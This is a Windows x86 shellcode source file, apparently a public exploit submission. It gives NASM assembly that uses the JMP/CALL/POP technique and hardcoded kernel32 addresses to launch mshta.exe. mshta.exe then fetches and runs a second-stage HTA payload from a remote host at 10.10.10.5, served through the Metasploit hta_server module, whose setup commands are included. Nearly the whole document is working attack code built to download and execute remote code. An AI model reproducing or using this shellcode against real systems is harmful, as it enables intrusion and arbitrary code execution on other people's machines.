## Description: Windows x86 Shellcode that uses mshta.exe binary to execute a second stage payload delivered through metasploit's hta_server exploit. This shellcode uses JMP/CALL/POP technic and static kernel32.dll functions addresses.
# msf6 > use exploit/windows/misc/hta_server (exploit for second stage payload delivery) # msf6 exploit(windows/misc/hta_server) > set payload windows/exec (a payload from the previously specified list) # msf6 exploit(windows/misc/hta_server) > set uripath 2NWyfQ9T.hta (a static value for URIPATH) # msf6 exploit(windows/misc/hta_server) > set CMD calc.exe (command to be executed ex: calc.exe binary) # msf6 exploit(windows/misc/hta_server) > run (second stage delivery server execution)
# Shellcode considerations:
# Function address of CreateProcessA in kernel32.dll: 0x75732082 # Function address of ExitProcess in kernel32.dll: 0x7578214f # Size in bytes of message db parameter, 65 bytes -> 0x41 hex # Message db contains a strings with the static path windows location of mshta.exe binary and the url obtained from hta_server exploit
# Assembly Shellcode:
global _start
section .text
_start: jmp application
firststep: pop edi xor eax, eax mov [edi+65], al ; size in bytes of message db parameter
StartUpInfoANDProcessInformation:
push eax ; hStderror null in this case push eax ; hStdOutput, null push eax ; hStdInput, null xor ebx, ebx xor ecx, ecx add cl, 0x12 ; 18 times loop to fill both structures.
looper: push ebx loop looper
;mov word [esp+0x3c], 0x0101 ; dwflag arg in startupinfo mov bx, 0x1111 sub bx, 0x1010 mov word [esp+0x3c], bx mov byte [esp+0x10], 0x44 ; cb=0x44 lea eax, [esp+0x10] ; eax points to StartUpInfo
; eax has a pointer to StartUPinfo ; esp has a pointer to Process_Info containing null values createprocessA: push esp ; pointer to Process-Info push eax ; pointer to StartUpInfo xor ebx, ebx push ebx ; null push ebx ; null push ebx ; null inc ebx push ebx ; bInheritHandles=true dec ebx push ebx ; null push ebx ; null push edi ; pointer to message db string push ebx ; null mov edx, 0x75732082 ; CreateProcessA addr in kernel32.dll call edx
ExitProcess: push eax ; createprocessA return in eax mov edx, 0x7578214f ; ExitProcess addr in kernel32.dll call edx
application: call firststep message db "c:\windows\system32\mshta.exe http://10.10.10.5:8080/2NWyfQ9T.hta"